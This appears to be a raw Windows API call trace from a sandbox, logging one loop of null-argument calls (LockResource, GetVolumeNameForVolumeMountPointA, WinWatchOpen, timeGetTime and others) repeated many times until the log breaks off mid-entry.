[0037.086] LockResource (hResData=0x0) returned 0x0 [0037.086] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.086] WinWatchNotify () returned 0x0 [0037.086] timeGetTime () returned 0x114496e [0037.086] WinWatchOpen () returned 0x5fdaf8 [0037.086] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.086] LockResource (hResData=0x0) returned 0x0 [0037.086] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.086] WinWatchNotify () returned 0x0 [0037.086] timeGetTime () returned 0x114496e [0037.086] WinWatchOpen () returned 0x5fdb18 [0037.086] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.086] LockResource (hResData=0x0) returned 0x0 [0037.086] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.086] WinWatchNotify () returned 0x0 [0037.086] timeGetTime () returned 0x114496e [0037.086] WinWatchOpen () returned 0x5fdb38 [0037.086] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.086] LockResource (hResData=0x0) returned 0x0 [0037.086] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.086] WinWatchNotify () returned 0x0 [0037.086] timeGetTime () returned 0x114496e [0037.086] WinWatchOpen () returned 0x5fdb58 [0037.086] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.086] LockResource (hResData=0x0) returned 0x0 [0037.086] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.086] WinWatchNotify () returned 0x0 [0037.086] timeGetTime () returned 0x114496e [0037.086] WinWatchOpen () returned 0x5fdb78 [0037.086] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.086] LockResource (hResData=0x0) returned 0x0 [0037.086] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.086] WinWatchNotify () returned 0x0 [0037.086] timeGetTime () returned 0x114496e [0037.086] WinWatchOpen () returned 0x5fdb98 [0037.086] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.087] LockResource (hResData=0x0) returned 0x0 [0037.087] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.087] WinWatchNotify () returned 0x0 [0037.087] timeGetTime () returned 0x114496e [0037.087] WinWatchOpen () returned 0x5fdbb8 [0037.087] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.087] LockResource (hResData=0x0) returned 0x0 [0037.087] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.087] WinWatchNotify () returned 0x0 [0037.087] timeGetTime () returned 0x114496f [0037.087] WinWatchOpen () returned 0x5fdbd8 [0037.087] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.087] LockResource (hResData=0x0) returned 0x0 [0037.087] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.087] WinWatchNotify () returned 0x0 [0037.087] timeGetTime () returned 0x114496f [0037.087] WinWatchOpen () returned 0x5fdbf8 [0037.087] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.087] LockResource (hResData=0x0) returned 0x0 [0037.087] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.087] WinWatchNotify () returned 0x0 [0037.087] timeGetTime () returned 0x114496f [0037.087] WinWatchOpen () returned 0x5fdc18 [0037.087] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.087] LockResource (hResData=0x0) returned 0x0 [0037.087] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.087] WinWatchNotify () returned 0x0 [0037.087] timeGetTime () returned 0x114496f [0037.087] WinWatchOpen () returned 0x5fdc38 [0037.087] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.087] LockResource (hResData=0x0) returned 0x0 [0037.087] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.087] WinWatchNotify () returned 0x0 [0037.087] timeGetTime () returned 0x114496f [0037.087] WinWatchOpen () returned 0x5fdc58 [0037.087] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.087] LockResource (hResData=0x0) returned 0x0 [0037.087] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.087] WinWatchNotify () returned 0x0 [0037.087] timeGetTime () returned 0x114496f [0037.087] WinWatchOpen () returned 0x5fdc78 [0037.087] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.088] LockResource (hResData=0x0) returned 0x0 [0037.088] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.088] WinWatchNotify () returned 0x0 [0037.088] timeGetTime () returned 0x114496f [0037.088] WinWatchOpen () returned 0x5fdc98 [0037.088] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.088] LockResource (hResData=0x0) returned 0x0 [0037.088] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.088] WinWatchNotify () returned 0x0 [0037.088] timeGetTime () returned 0x1144970 [0037.088] WinWatchOpen () returned 0x5fdcb8 [0037.088] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.088] LockResource (hResData=0x0) returned 0x0 [0037.088] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.088] WinWatchNotify () returned 0x0 [0037.088] timeGetTime () returned 0x1144970 [0037.088] WinWatchOpen () returned 0x5fdcd8 [0037.088] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.088] LockResource (hResData=0x0) returned 0x0 [0037.088] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.088] WinWatchNotify () returned 0x0 [0037.088] timeGetTime () returned 0x1144970 [0037.088] WinWatchOpen () returned 0x5fdcf8 [0037.088] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.088] LockResource (hResData=0x0) returned 0x0 [0037.088] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.088] WinWatchNotify () returned 0x0 [0037.088] timeGetTime () returned 0x1144970 [0037.088] WinWatchOpen () returned 0x5fdd18 [0037.088] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.088] LockResource (hResData=0x0) returned 0x0 [0037.088] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.088] WinWatchNotify () returned 0x0 [0037.088] timeGetTime () returned 0x1144970 [0037.088] WinWatchOpen () returned 0x5fdd38 [0037.088] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.088] LockResource (hResData=0x0) returned 0x0 [0037.088] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.089] WinWatchNotify () returned 0x0 [0037.089] timeGetTime () returned 0x1144970 [0037.089] WinWatchOpen () returned 0x5fdd58 [0037.089] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.089] LockResource (hResData=0x0) returned 0x0 [0037.089] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.089] WinWatchNotify () returned 0x0 [0037.089] timeGetTime () returned 0x1144970 [0037.089] WinWatchOpen () returned 0x5fdd78 [0037.089] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.089] LockResource (hResData=0x0) returned 0x0 [0037.089] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.089] WinWatchNotify () returned 0x0 [0037.089] timeGetTime () returned 0x1144971 [0037.089] WinWatchOpen () returned 0x5fdd98 [0037.089] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.089] LockResource (hResData=0x0) returned 0x0 [0037.089] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.089] WinWatchNotify () returned 0x0 [0037.089] timeGetTime () returned 0x1144971 [0037.089] WinWatchOpen () returned 0x5fddb8 [0037.089] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.089] LockResource (hResData=0x0) returned 0x0 [0037.089] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.089] WinWatchNotify () returned 0x0 [0037.089] timeGetTime () returned 0x1144971 [0037.089] WinWatchOpen () returned 0x5fddd8 [0037.089] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.089] LockResource (hResData=0x0) returned 0x0 [0037.089] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.089] WinWatchNotify () returned 0x0 [0037.089] timeGetTime () returned 0x1144971 [0037.089] WinWatchOpen () returned 0x5fddf8 [0037.089] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.089] LockResource (hResData=0x0) returned 0x0 [0037.089] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.089] WinWatchNotify () returned 0x0 [0037.089] timeGetTime () returned 0x1144971 [0037.089] WinWatchOpen () returned 0x5fde18 [0037.089] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.089] LockResource (hResData=0x0) returned 0x0 [0037.089] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.089] WinWatchNotify () returned 0x0 [0037.090] timeGetTime () returned 0x1144971 [0037.090] WinWatchOpen () returned 0x5fde38 [0037.090] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.090] LockResource (hResData=0x0) returned 0x0 [0037.090] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.090] WinWatchNotify () returned 0x0 [0037.090] timeGetTime () returned 0x1144971 [0037.090] WinWatchOpen () returned 0x5fde58 [0037.090] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.090] LockResource (hResData=0x0) returned 0x0 [0037.090] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.090] WinWatchNotify () returned 0x0 [0037.090] timeGetTime () returned 0x1144972 [0037.090] WinWatchOpen () returned 0x5fde78 [0037.090] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.090] LockResource (hResData=0x0) returned 0x0 [0037.090] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.090] WinWatchNotify () returned 0x0 [0037.090] timeGetTime () returned 0x1144972 [0037.090] WinWatchOpen () returned 0x5fde98 [0037.090] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.090] LockResource (hResData=0x0) returned 0x0 [0037.090] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.090] WinWatchNotify () returned 0x0 [0037.090] timeGetTime () returned 0x1144972 [0037.090] WinWatchOpen () returned 0x5fdeb8 [0037.090] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.090] LockResource (hResData=0x0) returned 0x0 [0037.090] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.090] WinWatchNotify () returned 0x0 [0037.090] timeGetTime () returned 0x1144972 [0037.090] WinWatchOpen () returned 0x5fded8 [0037.090] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.090] LockResource (hResData=0x0) returned 0x0 [0037.090] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.090] WinWatchNotify () returned 0x0 [0037.090] timeGetTime () returned 0x1144972 [0037.090] WinWatchOpen () returned 0x5fdef8 [0037.090] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.090] LockResource (hResData=0x0) returned 0x0 [0037.090] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.090] WinWatchNotify () returned 0x0 [0037.090] timeGetTime () returned 0x1144972 [0037.090] WinWatchOpen () returned 0x5fdf18 [0037.091] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.091] LockResource (hResData=0x0) returned 0x0 [0037.091] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.091] WinWatchNotify () returned 0x0 [0037.091] timeGetTime () returned 0x1144972 [0037.091] WinWatchOpen () returned 0x5fdf58 [0037.091] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.091] LockResource (hResData=0x0) returned 0x0 [0037.091] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.091] WinWatchNotify () returned 0x0 [0037.091] timeGetTime () returned 0x1144973 [0037.091] WinWatchOpen () returned 0x5fdf78 [0037.091] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.091] LockResource (hResData=0x0) returned 0x0 [0037.091] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.091] WinWatchNotify () returned 0x0 [0037.091] timeGetTime () returned 0x1144973 [0037.091] WinWatchOpen () returned 0x5fdf98 [0037.091] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.091] LockResource (hResData=0x0) returned 0x0 [0037.091] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.091] WinWatchNotify () returned 0x0 [0037.091] timeGetTime () returned 0x1144973 [0037.091] WinWatchOpen () returned 0x5fdfb8 [0037.091] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.091] LockResource (hResData=0x0) returned 0x0 [0037.091] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.091] WinWatchNotify () returned 0x0 [0037.091] timeGetTime () returned 0x1144973 [0037.091] WinWatchOpen () returned 0x5fdfd8 [0037.091] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.091] LockResource (hResData=0x0) returned 0x0 [0037.091] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.091] WinWatchNotify () returned 0x0 [0037.091] timeGetTime () returned 0x1144973 [0037.091] WinWatchOpen () returned 0x5fdff8 [0037.091] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.091] LockResource (hResData=0x0) returned 0x0 [0037.091] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.091] WinWatchNotify () returned 0x0 [0037.091] timeGetTime () returned 0x1144973 [0037.092] WinWatchOpen () returned 0x5fe018 [0037.092] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.092] LockResource (hResData=0x0) returned 0x0 [0037.092] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.092] WinWatchNotify () returned 0x0 [0037.092] timeGetTime () returned 0x1144973 [0037.092] WinWatchOpen () returned 0x5fe038 [0037.092] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.092] LockResource (hResData=0x0) returned 0x0 [0037.092] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.092] WinWatchNotify () returned 0x0 [0037.092] timeGetTime () returned 0x1144974 [0037.092] WinWatchOpen () returned 0x5fe058 [0037.092] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.092] LockResource (hResData=0x0) returned 0x0 [0037.092] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.092] WinWatchNotify () returned 0x0 [0037.092] timeGetTime () returned 0x1144974 [0037.092] WinWatchOpen () returned 0x5fe078 [0037.092] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.092] LockResource (hResData=0x0) returned 0x0 [0037.092] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.092] WinWatchNotify () returned 0x0 [0037.092] timeGetTime () returned 0x1144974 [0037.092] WinWatchOpen () returned 0x5fe098 [0037.092] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.092] LockResource (hResData=0x0) returned 0x0 [0037.092] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.092] WinWatchNotify () returned 0x0 [0037.092] timeGetTime () returned 0x1144974 [0037.092] WinWatchOpen () returned 0x5fe0b8 [0037.092] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.092] LockResource (hResData=0x0) returned 0x0 [0037.092] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.092] WinWatchNotify () returned 0x0 [0037.092] timeGetTime () returned 0x1144974 [0037.092] WinWatchOpen () returned 0x5fe0d8 [0037.093] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.093] LockResource (hResData=0x0) returned 0x0 [0037.093] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.093] WinWatchNotify () returned 0x0 [0037.093] timeGetTime () returned 0x1144974 [0037.093] WinWatchOpen () returned 0x5fe0f8 [0037.093] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.093] LockResource (hResData=0x0) returned 0x0 [0037.093] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.093] WinWatchNotify () returned 0x0 [0037.093] timeGetTime () returned 0x1144975 [0037.093] WinWatchOpen () returned 0x5fe118 [0037.093] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.093] LockResource (hResData=0x0) returned 0x0 [0037.093] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.093] WinWatchNotify () returned 0x0 [0037.093] timeGetTime () returned 0x1144975 [0037.093] WinWatchOpen () returned 0x5fe138 [0037.093] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.093] LockResource (hResData=0x0) returned 0x0 [0037.093] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.093] WinWatchNotify () returned 0x0 [0037.093] timeGetTime () returned 0x1144975 [0037.093] WinWatchOpen () returned 0x5fe158 [0037.093] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.093] LockResource (hResData=0x0) returned 0x0 [0037.093] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.093] WinWatchNotify () returned 0x0 [0037.093] timeGetTime () returned 0x1144975 [0037.093] WinWatchOpen () returned 0x5fe178 [0037.093] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.093] LockResource (hResData=0x0) returned 0x0 [0037.093] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.093] WinWatchNotify () returned 0x0 [0037.093] timeGetTime () returned 0x1144975 [0037.093] WinWatchOpen () returned 0x5fe198 [0037.093] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.093] LockResource (hResData=0x0) returned 0x0 [0037.093] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.093] WinWatchNotify () returned 0x0 [0037.093] timeGetTime () returned 0x1144975 [0037.093] WinWatchOpen () returned 0x5fe1b8 [0037.093] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.093] LockResource (hResData=0x0) returned 0x0 [0037.094] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.094] WinWatchNotify () returned 0x0 [0037.094] timeGetTime () returned 0x1144975 [0037.094] WinWatchOpen () returned 0x5fe1d8 [0037.094] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.094] LockResource (hResData=0x0) returned 0x0 [0037.094] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.094] WinWatchNotify () returned 0x0 [0037.094] timeGetTime () returned 